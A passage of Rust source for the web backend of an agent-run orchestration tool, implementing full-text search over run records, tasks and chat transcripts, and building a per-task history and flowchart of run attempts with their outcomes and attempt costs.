3473/// One piece of a snippet. `hit` pieces are what matched; the client renders
3474/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
3475#[derive(Debug, Serialize, PartialEq, Eq)]
3476struct SnippetPart {
3477    text: String,
3478    hit: bool,
3479}
3480
3481#[derive(Debug, Serialize)]
3482struct SearchHit {
3483    id: String,
3484    /// The name of the field the snippet was cut from.
3485    field: String,
3486    snippet: Vec<SnippetPart>,
3487    /// The run's list row, so the page can apply its state / section / repo
3488    /// filters to a hit outside the loaded window. Absent for tasks and for a
3489    /// run record the list view cannot read.
3490    #[serde(skip_serializing_if = "Option::is_none")]
3491    run: Option<RunSummary>,
3492}
3493
3494#[derive(Debug, Serialize)]
3495struct SearchView {
3496    scope: String,
3497    q: String,
3498    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
3499    hits: Vec<SearchHit>,
3500    /// Every match, hits beyond the cap included.
3501    total: usize,
3502    truncated: bool,
3503    /// Runs whose `run.json` could not be parsed at all. They were not
3504    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
3505    unreadable: usize,
3506}
3507
3508/// The text leaves of a JSON document, with the name of the field each sits
3509/// under. Keys and numbers are skipped: they are structure, not prose.
3510fn text_leaves<'a>(
3511    value: &'a serde_json::Value,
3512    field: &'a str,
3513    out: &mut Vec<(&'a str, &'a str)>,
3514) {
3515    match value {
3516        serde_json::Value::String(s) => out.push((field, s)),
3517        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3518        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3519        _ => {}
3520    }
3521}
3522
3523/// Lower-case one character without changing how many there are, so indices
3524/// in the lowered text are indices in the original.
3525fn fold_char(c: char) -> char {
3526    c.to_lowercase().next().unwrap_or(c)
3527}
3528
3529/// Split a query into its lower-cased terms.
3530fn search_terms(q: &str) -> Vec<String> {
3531    let mut terms: Vec<String> = Vec::new();
3532    for t in q.split_whitespace() {
3533        let t = t.to_lowercase();
3534        if !terms.contains(&t) {
3535            terms.push(t);
3536        }
3537    }
3538    terms
3539}
3540
3541/// Match `terms` (all of them, anywhere in the document) against the leaves
3542/// and cut a snippet around the first hit. `None` when a term is missing.
3543fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3544    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3545    let mut first: Option<usize> = None;
3546    for term in terms {
3547        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3548        first = Some(first.map_or(at, |f| f.min(at)));
3549    }
3550    // The leaf holding the earliest hit of any term is where the snippet is cut.
3551    let (field, text) = leaves[first?];
3552    Some(SearchHit {
3553        id: String::new(),
3554        field: field.to_owned(),
3555        snippet: snippet_of(text, terms),
3556        run: None,
3557    })
3558}
3559
3560/// A window of `text` around the first occurrence of any term, whitespace
3561/// collapsed, with every term occurrence inside the window marked.
3562fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3563    let chars: Vec<char> = text.chars().collect();
3564    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3565    let needles: Vec<Vec<char>> = terms
3566        .iter()
3567        .map(|t| t.chars().map(fold_char).collect())
3568        .collect();
3569    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3570        let mut best: Option<(usize, usize)> = None;
3571        for n in needles.iter().filter(|n| !n.is_empty()) {
3572            // `to` bounds where a match may start; it may run past `to` (the
3573            // caller clips what it shows). A term longer than the field cannot
3574            // occur in it (it may live in another leaf of the document).
3575            if n.len() > chars.len() || to == 0 {
3576                continue;
3577            }
3578            let last = (to - 1).min(chars.len() - n.len());
3579            if from > last {
3580                continue;
3581            }
3582            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3583                && best.is_none_or(|(b, _)| i < b)
3584            {
3585                best = Some((i, i + n.len()));
3586            }
3587        }
3588        best
3589    };
3590    let Some((start, _)) = find(0, chars.len()) else {
3591        // Matched only through a case mapping that changes length: show the head.
3592        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3593        return vec![SnippetPart {
3594            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3595            hit: false,
3596        }];
3597    };
3598    let lo = start.saturating_sub(SNIPPET_BEFORE);
3599    let hi = (start + SNIPPET_AFTER).min(chars.len());
3600    let mut parts: Vec<SnippetPart> = Vec::new();
3601    let mut push = |s: &[char], hit: bool| {
3602        if s.is_empty() {
3603            return;
3604        }
3605        let text: String = s.iter().collect();
3606        match parts.last_mut() {
3607            Some(p) if p.hit == hit => p.text.push_str(&text),
3608            _ => parts.push(SnippetPart { text, hit }),
3609        }
3610    };
3611    if lo > 0 {
3612        push(&['\u{2026}'], false);
3613    }
3614    let mut at = lo;
3615    while at < hi {
3616        match find(at, hi) {
3617            Some((s, e)) => {
3618                push(&chars[at..s], false);
3619                // A match running past the window is shown up to its edge.
3620                let shown = e.min(hi);
3621                push(&chars[s..shown], true);
3622                at = shown;
3623            }
3624            None => {
3625                push(&chars[at..hi], false);
3626                at = hi;
3627            }
3628        }
3629    }
3630    if hi < chars.len() {
3631        push(&['\u{2026}'], false);
3632    }
3633    // Collapse whitespace (newlines in an instruction) without disturbing the
3634    // hit boundaries.
3635    let mut prev_space = false;
3636    for p in &mut parts {
3637        let mut out = String::with_capacity(p.text.len());
3638        for c in p.text.chars() {
3639            if c.is_whitespace() {
3640                if !prev_space {
3641                    out.push(' ');
3642                }
3643                prev_space = true;
3644            } else {
3645                out.push(c);
3646                prev_space = false;
3647            }
3648        }
3649        p.text = out;
3650    }
3651    parts.retain(|p| !p.text.is_empty());
3652    parts
3653}
3654
3655/// The search over `docs` (id, document), newest first, capped.
3656fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3657where
3658    I: IntoIterator<Item = (String, serde_json::Value)>,
3659{
3660    for (id, doc) in docs {
3661        let mut leaves = Vec::new();
3662        // The id is text an operator types too, and it is a map key on disk,
3663        // not a leaf.
3664        leaves.push(("id", id.as_str()));
3665        text_leaves(&doc, "", &mut leaves);
3666        if let Some(mut hit) = search_document(terms, &leaves) {
3667            view.total += 1;
3668            if view.hits.len() < SEARCH_MAX_HITS {
3669                hit.id = id;
3670                view.hits.push(hit);
3671            }
3672        }
3673    }
3674    view.truncated = view.total > view.hits.len();
3675}
3676
3677/// What a conversation is searched by: its list title and each turn's text,
3678/// under `operator` / `agent` so the snippet says who spoke. Nothing else
3679/// (session ids, repo paths, usage, drafts) is part of the document.
3680///
3681/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
3682/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
3683fn talk_search_doc(talk: &Talk) -> serde_json::Value {
3684    let opener = talk
3685        .turns
3686        .iter()
3687        .find(|t| t.who == crate::talk::Who::Operator)
3688        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
3689        .unwrap_or("");
3690    let title: String = if opener.chars().count() > 96 {
3691        opener.chars().take(95).chain(['\u{2026}']).collect()
3692    } else {
3693        opener.to_owned()
3694    };
3695    let turns: Vec<serde_json::Value> = talk
3696        .turns
3697        .iter()
3698        .map(|t| {
3699            let who = match t.who {
3700                crate::talk::Who::Operator => "operator",
3701                crate::talk::Who::Agent => "agent",
3702            };
3703            serde_json::json!({ who: t.body })
3704        })
3705        .collect();
3706    serde_json::json!({ "title": title, "turns": turns })
3707}
3708
3709/// Read-only full-text search over every run's `run.json`, every task or every
3710/// conversation (title and transcript).
3711///
3712/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
3713/// record from an older schema still searches; only a file that is not JSON
3714/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
3715async fn search_get(
3716    State(ui): State<Arc<Ui>>,
3717    Query(q): Query<SearchQuery>,
3718) -> ApiResult<Json<SearchView>> {
3719    let query = q.q.trim().to_owned();
3720    if query.is_empty() {
3721        return Err(ApiError::bad_request("q must not be empty"));
3722    }
3723    if query.chars().count() > SEARCH_MAX_QUERY {
3724        return Err(ApiError::bad_request(format!(
3725            "q is longer than {SEARCH_MAX_QUERY} characters"
3726        )));
3727    }
3728    let terms = search_terms(&query);
3729    if terms.len() > SEARCH_MAX_TERMS {
3730        return Err(ApiError::bad_request(format!(
3731            "q has more than {SEARCH_MAX_TERMS} terms"
3732        )));
3733    }
3734    let scope = q.scope;
3735    if scope != "runs" && scope != "tasks" && scope != "chats" {
3736        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
3737    }
3738    blocking(move || {
3739        let mut view = SearchView {
3740            scope: scope.clone(),
3741            q: query,
3742            hits: Vec::new(),
3743            total: 0,
3744            truncated: false,
3745            unreadable: 0,
3746        };
3747        if scope == "runs" {
3748            let mut unreadable = 0;
3749            // One run.json is read, matched and dropped at a time; nothing
3750            // holds the whole history. The scan runs to the end even past the
3751            // hit cap so `total` and `unreadable` stay exact.
3752            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
3753                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
3754                match body.and_then(|b| serde_json::from_str(&b).ok()) {
3755                    Some(v) => Some((id, v)),
3756                    None => {
3757                        unreadable += 1;
3758                        None
3759                    }
3760                }
3761            });
3762            search_docs(&terms, docs, &mut view);
3763            view.unreadable = unreadable;
3764            // Only the capped hits get a row: the filters need a run's state,
3765            // and reading every match would be the whole history again.
3766            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3767            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3768            for hit in &mut view.hits {
3769                if let Ok(state) = read_run(&ui.runs, &hit.id) {
3770                    hit.run = summarize(
3771                        [state],
3772                        &open_runs,
3773                        &claimed,
3774                        &superseded,
3775                        |p| probe.borrow_mut().status(p),
3776                        |p| probe.borrow_mut().started_at(p),
3777                    )
3778                    .pop();
3779                }
3780            }
3781        } else if scope == "chats" {
3782            let (talks, unreadable) = ui.talks.list_counting_unreadable();
3783            view.unreadable = unreadable;
3784            search_docs(
3785                &terms,
3786                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
3787                &mut view,
3788            );
3789        } else {
3790            let docs = ui.queue.list().into_iter().filter_map(|t| {
3791                let mut v = serde_json::to_value(&t).ok()?;
3792                // `source` serialises as a tagged object; the label is what
3793                // the operator reads ("human", "chat@a1b2").
3794                if let Some(o) = v.as_object_mut() {
3795                    o.insert("filed_by".to_owned(), t.source.label().into());
3796                }
3797                Some((t.id, v))
3798            });
3799            search_docs(&terms, docs, &mut view);
3800        }
3801        Ok(Json(view))
3802    })
3803    .await
3804}
3805
3806/// One attempt in a task's history, as the task page lists it.
3807#[derive(Debug, Serialize)]
3808struct TaskRunView {
3809    /// 1-based position in [`Task::runs`].
3810    n: usize,
3811    id: String,
3812    short: String,
3813    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
3814    kind: &'static str,
3815    /// The run's own status string; `None` when its record cannot be read.
3816    status: Option<&'static str>,
3817    /// Whether this build could read the run's record. Counted, never hidden.
3818    readable: bool,
3819    /// A verdict from a collapsed panel is provisional, never a decision.
3820    provisional: bool,
3821    /// What kind of attempt this was, in one line.
3822    description: String,
3823    /// How it ended and why the task moved on (or what it is doing now).
3824    outcome: String,
3825    created_at: Option<Timestamp>,
3826    pr: Option<String>,
3827    /// Why this pass ended, classified once; the flowchart is built from it.
3828    exit: RunExit,
3829    /// What the pass did to the task's attempt budget.
3830    attempt: AttemptCost,
3831    /// The branch a review-only run reopened.
3832    branch: Option<String>,
3833}
3834
3835/// How one pass over a run ended, as far as the task's life is concerned.
3836#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3837#[serde(rename_all = "snake_case")]
3838enum RunExit {
3839    Unreadable,
3840    /// An earlier pass of a run id that appears again: it stopped short.
3841    Interrupted,
3842    Parked,
3843    QuotaStall,
3844    /// Stalled on a resumed pass with quota losses on record: they may be
3845    /// left over from an earlier pass, so whether this one was refunded is
3846    /// not knowable.
3847    ResumedQuotaStall,
3848    Merged,
3849    Ready,
3850    Superseded,
3851    /// The change was already on the base under other commits: the task
3852    /// finished without this run landing anything.
3853    AlreadyInBase,
3854    /// Stalled without a rate limit to blame: no verdict, attempt spent.
3855    Stalled,
3856    /// Blocked / no-op with a pull request left open: held for a person.
3857    HeldWithPr,
3858    NoopHeld,
3859    /// Blocked or failed: the attempt is spent and the task retries or holds.
3860    Spent,
3861    InProgress,
3862}
3863
3864#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3865#[serde(rename_all = "snake_case")]
3866enum AttemptCost {
3867    Spent,
3868    Refunded,
3869    None,
3870    /// Cannot be told from the records that remain.
3871    Unknown,
3872}
3873
3874impl RunExit {
3875    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
3876        let Some(s) = s else {
3877            return Self::Unreadable;
3878        };
3879        let status = s.status;
3880        if resumed_later {
3881            Self::Interrupted
3882        } else if s.parked {
3883            Self::Parked
3884        } else if !status.done() {
3885            Self::InProgress
3886        } else if matches!(status, RunStatus::Merged) {
3887            Self::Merged
3888        } else if matches!(status, RunStatus::Ready) {
3889            Self::Ready
3890        } else if matches!(status, RunStatus::Superseded) {
3891            Self::Superseded
3892        } else if matches!(status, RunStatus::AlreadyInBase) {
3893            Self::AlreadyInBase
3894        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3895            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3896        {
3897            if resumed {
3898                Self::ResumedQuotaStall
3899            } else {
3900                Self::QuotaStall
3901            }
3902        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3903            Self::HeldWithPr
3904        } else if matches!(status, RunStatus::VerifiedNoop) {
3905            Self::NoopHeld
3906        } else if matches!(status, RunStatus::Stalled) {
3907            Self::Stalled
3908        } else {
3909            Self::Spent
3910        }
3911    }
3912
3913    fn cost(self) -> AttemptCost {
3914        match self {
3915            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
3916            Self::Merged
3917            | Self::Ready
3918            | Self::Stalled
3919            | Self::HeldWithPr
3920            | Self::NoopHeld
3921            | Self::Spent => AttemptCost::Spent,
3922            Self::InProgress => AttemptCost::None,
3923            Self::AlreadyInBase => AttemptCost::Refunded,
3924            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
3925                AttemptCost::Unknown
3926            }
3927        }
3928    }
3929
3930    /// Short edge wording for leaving a run this way.
3931    fn edge_label(self, status: Option<&str>) -> String {
3932        match self {
3933            Self::Unreadable => "record unreadable".to_owned(),
3934            Self::Interrupted => "interrupted before the run finished".to_owned(),
3935            Self::Parked => "parked, attempt refunded".to_owned(),
3936            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
3937            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
3938            Self::Merged => "merged".to_owned(),
3939            Self::Ready => "ready, not merged".to_owned(),
3940            Self::Superseded => "superseded by a later attempt".to_owned(),
3941            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
3942            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
3943            Self::HeldWithPr => "blocked, PR left open".to_owned(),
3944            Self::NoopHeld => "verified no-op".to_owned(),
3945            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
3946            Self::InProgress => "in progress".to_owned(),
3947        }
3948    }
3949
3950    /// Does a task in `end` follow from a run that ended this way? When not,
3951    /// somebody closed or held the task by hand.
3952    fn explains(self, end: TaskStatus) -> bool {
3953        match self {
3954            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
3955            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
3956            Self::Unreadable | Self::Superseded | Self::Ready => true,
3957            _ => end != TaskStatus::Done,
3958        }
3959    }
3960}
3961
3962/// `GET /api/queue/{id}` - one task with every attempt it went through.
3963#[derive(Debug, Serialize)]
3964struct TaskDetailView {
3965    #[serde(flatten)]
3966    task: TaskView,
3967    /// The attempt budget `magi serve` / `magi web` start a loop with unless
3968    /// told otherwise; the loop's own flag is not visible from here.
3969    max_attempts: usize,
3970    history: Vec<TaskRunView>,
3971    flow: FlowView,
3972    /// How many entries of `history` could not be read.
3973    runs_unreadable: usize,
3974    /// Why the attempt count can be lower than the number of runs.
3975    attempts_note: &'static str,
3976}
3977
3978const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
3979and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
3980on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
3981in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
3982
3983/// The branch a review-only run reopened, read off the instruction
3984/// `Runner::open_review` writes.
3985fn review_branch_of(instruction: &str) -> Option<&str> {
3986    let rest = instruction.strip_prefix("Review the work already on branch `")?;
3987    rest.split('`').next().filter(|b| !b.is_empty())
3988}
3989
3990/// Where an entry sits in a task's run list.
3991struct RunSlot<'a> {
3992    /// 1-based position.
3993    n: usize,
3994    /// The same run id appeared earlier: this pass resumed it.
3995    resumed: bool,
3996    /// Position of a later pass over the same run id, if any.
3997    resumed_later: Option<usize>,
3998    /// The previous distinct run and how it ended, for the retry note.
3999    prior: Option<(&'a str, RunStatus)>,
4000    last: bool,
4001}
4002
4003/// Describe one entry of a task's run list. Pure: everything it needs is on
4004/// the run and the task, so it is asserted without a server.
4005fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4006    let RunSlot {
4007        n,
4008        resumed,
4009        resumed_later,
4010        prior,
4011        last,
4012    } = at;
4013    let short = run::short_of(id).to_owned();
4014    let Some(s) = state else {
4015        return TaskRunView {
4016            n,
4017            id: id.to_owned(),
4018            short,
4019            kind: "unknown",
4020            status: None,
4021            readable: false,
4022            provisional: false,
4023            description:
4024                "This run's record could not be read by this build (written by a different \
4025                          magi, or removed), so what kind of attempt it was is unknown."
4026                    .to_owned(),
4027            outcome: String::new(),
4028            created_at: None,
4029            pr: None,
4030            exit: RunExit::Unreadable,
4031            attempt: AttemptCost::Unknown,
4032            branch: None,
4033        };
4034    };
4035    let branch = review_branch_of(&s.instruction);
4036    let kind = if resumed {
4037        "resume"
4038    } else if branch.is_some() {
4039        "review"
4040    } else if task.solo || s.candidates.len() == 1 {
4041        "solo"
4042    } else {
4043        "competition"
4044    };
4045    let mut description = match kind {
4046        "resume" => {
4047            format!("Resumed run {short}: the same run carried on instead of competing again.")
4048        }
4049        "review" => format!(
4050            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4051            branch.unwrap_or_default()
4052        ),
4053        "solo" => "Solo run: one implementer straight into review.".to_owned(),
4054        _ => format!(
4055            "Competition: {} candidates judged blind.",
4056            s.candidates.len().max(1)
4057        ),
4058    };
4059    if !resumed && let Some((p, st)) = prior {
4060        description.push_str(&format!(
4061            " A retry: run {p} before it ended {}.",
4062            st.display_label()
4063        ));
4064    }
4065
4066    let status = s.status;
4067    let provisional = matches!(status, RunStatus::Stalled)
4068        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4069    let head = if resumed_later.is_some() {
4070        String::new()
4071    } else {
4072        match status {
4073            RunStatus::Merged => "Merged.".to_owned(),
4074            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4075            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4076            RunStatus::AlreadyInBase => {
4077                "Already in the base: this change landed under other commits, nothing was left to land."
4078                    .to_owned()
4079            }
4080            RunStatus::Stalled => {
4081                "Stalled: the judging panel never reached a quorum, so there is no verdict."
4082                    .to_owned()
4083            }
4084            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4085            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4086            RunStatus::VerifiedNoop => {
4087                "Verified no-op: the candidates found nothing to change.".to_owned()
4088            }
4089            other if other.done() => format!("Ended {}.", other.display_label()),
4090            other => format!("In progress ({}).", other.display_label()),
4091        }
4092    };
4093    let why = if let Some(k) = resumed_later {
4094        // A run is only picked up again while it is unfinished, so an earlier
4095        // pass of a repeated id stopped short; the record keeps only the run's
4096        // latest status, which is left to the pass that carried it on.
4097        // Only the latest state is recorded: `parked` is cleared on resume
4098        // and `quota` accumulates across passes, so neither says why *this*
4099        // pass stopped, and the refund is as unknown as `AttemptCost` says.
4100        let cause = if s.quota.is_empty() {
4101            "the cause was not recorded: a park, a crash or a restart all look the same from here"
4102        } else {
4103            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4104        };
4105        format!(
4106            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4107        )
4108    } else if s.parked {
4109        " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4110            .to_owned()
4111    } else if !status.done()
4112        || matches!(
4113            status,
4114            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4115        )
4116    {
4117        String::new()
4118    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4119        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4120    {
4121        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4122            .to_owned()
4123    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4124        " It left a pull request open, so the task was held for a person rather than retried."
4125            .to_owned()
4126    } else if matches!(status, RunStatus::VerifiedNoop) {
4127        " Held for a person to check the claim.".to_owned()
4128    } else if last {
4129        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4130    } else {
4131        " It spent an attempt, and the task moved on to the next run.".to_owned()
4132    };
4133    let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4134    TaskRunView {
4135        n,
4136        id: id.to_owned(),
4137        short,
4138        kind,
4139        status: Some(status.as_str()),
4140        readable: true,
4141        provisional,
4142        description,
4143        outcome: format!("{head}{why}"),
4144        created_at: Some(s.created_at),
4145        pr: s.pr.as_ref().map(|p| p.url.clone()),
4146        exit,
4147        attempt: exit.cost(),
4148        branch: branch.map(str::to_owned),
4149    }
4150}
4151
4152/// One box of the task's flowchart.
4153#[derive(Debug, Serialize, PartialEq)]
4154struct FlowNode {
4155    /// Unique by position: a resumed run id appears once per pass.
4156    key: String,
4157    /// `chat`, `start`, `run` or `end`.
4158    kind: &'static str,
4159    label: String,
4160    /// Run status (or the task's, for `end`); `None` when it is not a fact
4161    /// about this box (unreadable, or a pass the run later resumed from).
4162    status: Option<&'static str>,
4163    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
4164    note: Option<&'static str>,
4165    run_kind: Option<&'static str>,
4166    detail: Option<String>,
4167    /// A readable run with a real verdict; a stall never is.
4168    decided: bool,
4169    readable: bool,
4170    href: Option<String>,
4171}
4172
4173#[derive(Debug, Serialize, PartialEq)]
4174struct FlowEdge {
4175    from: String,
4176    to: String,
4177    label: String,
4178    attempt: AttemptCost,
4179}
4180
4181#[derive(Debug, Serialize, PartialEq)]
4182struct FlowView {
4183    nodes: Vec<FlowNode>,
4184    edges: Vec<FlowEdge>,
4185    /// Attempts the task has counted since it was last released.
4186    attempts: usize,
4187    max_attempts: usize,
4188}
4189
4190/// Turn a task and its described runs into the flowchart's boxes and arrows.
4191/// Pure: the page only draws what this returns.
4192fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4193    let node = |key: &str, kind, label: String| FlowNode {
4194        key: key.to_owned(),
4195        kind,
4196        label,
4197        status: None,
4198        note: None,
4199        run_kind: None,
4200        detail: None,
4201        decided: false,
4202        readable: true,
4203        href: None,
4204    };
4205    let mut nodes = Vec::new();
4206    let mut edges: Vec<FlowEdge> = Vec::new();
4207    // A task queued from a chat opens the flow with that conversation.
4208    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4209        let mut n = node(
4210            "chat",
4211            "chat",
4212            format!("Chat {}", crate::queue::short(&link.id)),
4213        );
4214        n.href = Some(link.href);
4215        nodes.push(n);
4216        edges.push(FlowEdge {
4217            from: "chat".to_owned(),
4218            to: "start".to_owned(),
4219            label: "queued from chat".to_owned(),
4220            attempt: AttemptCost::None,
4221        });
4222    }
4223    nodes.push(node("start", "start", "Task queued".to_owned()));
4224    let mut prev = "start".to_owned();
4225    let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4226    for (i, h) in history.iter().enumerate() {
4227        let key = format!("run-{}", h.n);
4228        let mut n = node(&key, "run", format!("Run {}", h.short));
4229        n.run_kind = Some(h.kind);
4230        n.readable = h.readable;
4231        n.href = Some(format!("#/runs/{}", h.id));
4232        n.decided = h.readable && !h.provisional;
4233        n.detail = h
4234            .branch
4235            .as_ref()
4236            .map(|b| format!("review-only run of branch {b}"));
4237        match h.exit {
4238            RunExit::Unreadable => n.note = Some("unreadable"),
4239            RunExit::Interrupted => n.note = Some("interrupted"),
4240            _ => {
4241                n.status = h.status;
4242                if h.provisional {
4243                    n.note = Some("no verdict");
4244                }
4245            }
4246        }
4247        let into = match h.kind {
4248            "review" => Some(format!(
4249                "review-only run of branch {}",
4250                h.branch.as_deref().unwrap_or("?")
4251            )),
4252            "resume" => Some("resume the same run".to_owned()),
4253            _ if i > 0 => Some("retry".to_owned()),
4254            _ => None,
4255        };
4256        let label = match (prev_exit, into) {
4257            (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4258            (Some((e, st)), None) => e.edge_label(st),
4259            (None, Some(i)) => i,
4260            (None, None) => "claimed".to_owned(),
4261        };
4262        edges.push(FlowEdge {
4263            from: prev.clone(),
4264            to: key.clone(),
4265            label,
4266            attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4267        });
4268        prev_exit = Some((h.exit, h.status));
4269        prev = key;
4270        nodes.push(n);
4271    }
4272    let mut end = node("end", "end", task.status.as_str().to_owned());
4273    end.status = Some(task.status.as_str());
4274    nodes.push(end);
4275    let (label, attempt) = match prev_exit {
4276        None => (
4277            format!("no run yet \u{2192} {}", task.status.as_str()),
4278            AttemptCost::None,
4279        ),
4280        Some((e, st)) if e.explains(task.status) => (
4281            format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4282            e.cost(),
4283        ),
4284        Some((e, _)) => (
4285            format!("closed by hand: task is {}", task.status.as_str()),
4286            e.cost(),
4287        ),
4288    };
4289    edges.push(FlowEdge {
4290        from: prev,
4291        to: "end".to_owned(),
4292        label,
4293        attempt,
4294    });
4295    FlowView {
4296        nodes,
4297        edges,
4298        attempts: task.attempts,
4299        max_attempts,
4300    }
4301}
4302
4303/// Describe every entry of `task.runs`, in order, reading each run's record
4304/// through `read`.
4305fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4306    let mut history = Vec::with_capacity(task.runs.len());
4307    let mut seen: Vec<&str> = Vec::new();
4308    let mut prior: Option<(&str, RunStatus)> = None;
4309    for (i, run_id) in task.runs.iter().enumerate() {
4310        let state = read(run_id);
4311        let resumed = seen.contains(&run_id.as_str());
4312        seen.push(run_id);
4313        history.push(task_run_view(
4314            run_id,
4315            state.as_ref(),
4316            RunSlot {
4317                n: i + 1,
4318                resumed,
4319                resumed_later: task.runs[i + 1..]
4320                    .iter()
4321                    .position(|r| r == run_id)
4322                    .map(|off| i + off + 2),
4323                prior,
4324                last: i + 1 == task.runs.len(),
4325            },
4326            task,
4327        ));
4328        if let Some(s) = &state {
4329            prior = Some((run::short_of(run_id), s.status));
4330        }
4331    }
4332    history
4333}
4334
4335async fn task_detail(
4336    State(ui): State<Arc<Ui>>,
4337    Path(id): Path<String>,
4338) -> ApiResult<Json<TaskDetailView>> {
4339    blocking(move || {
4340        let id = resolve_task(&ui.queue, &id)?;
4341        let task = ui
4342            .queue
4343            .get(&id)
4344            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4345        let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4346        let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4347        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4348        let max_attempts = daemon::Opts::default().max_attempts;
4349        let flow = task_flow(&task, &history, max_attempts);
4350        Ok(Json(TaskDetailView {
4351            max_attempts,
4352            flow,
4353            history,
4354            runs_unreadable,
4355            attempts_note: ATTEMPTS_NOTE,
4356            task: TaskView::with_inventory(task, &inv),
4357        }))
4358    })
4359    .await
4360}
4361
4362/// A rate together with its denominator, so the client can tell "computed as
4363/// 0%" apart from "no data to compute it from" — both would otherwise
4364/// serialize as `0.0`. `None` means the denominator was zero.
4365#[derive(Debug, Serialize)]
4366struct RateView {
4367    pct: f64,
4368    denominator: usize,
4369}
4370
4371impl RateView {
4372    fn of(numerator: usize, denominator: usize) -> Option<Self> {
4373        (denominator > 0).then(|| Self {
4374            pct: 100.0 * numerator as f64 / denominator as f64,
4375            denominator,
4376        })
4377    }
4378}
4379
4380/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
4381/// rates, each paired with its own denominator via [`RateView`] rather than
4382/// exposing `Stats`' own percentage methods directly — see this module's
4383/// doc for why `Stats` itself is never serialized.
4384#[derive(Debug, Serialize)]
4385struct StatsTotalsView {
4386    runs: usize,
4387    merged: usize,
4388    ready: usize,
4389    blocked: usize,
4390    failed: usize,
4391    stalled: usize,
4392    verified_noop: usize,
4393    superseded: usize,
4394    in_progress: usize,
4395    completion_rate: Option<RateView>,
4396    tallied: usize,
4397    split: usize,
4398    split_rate: Option<RateView>,
4399    deliberated: usize,
4400    minds_changed: usize,
4401    converged: usize,
4402    review_rounds: usize,
4403}
4404
4405impl From<&stats::Totals> for StatsTotalsView {
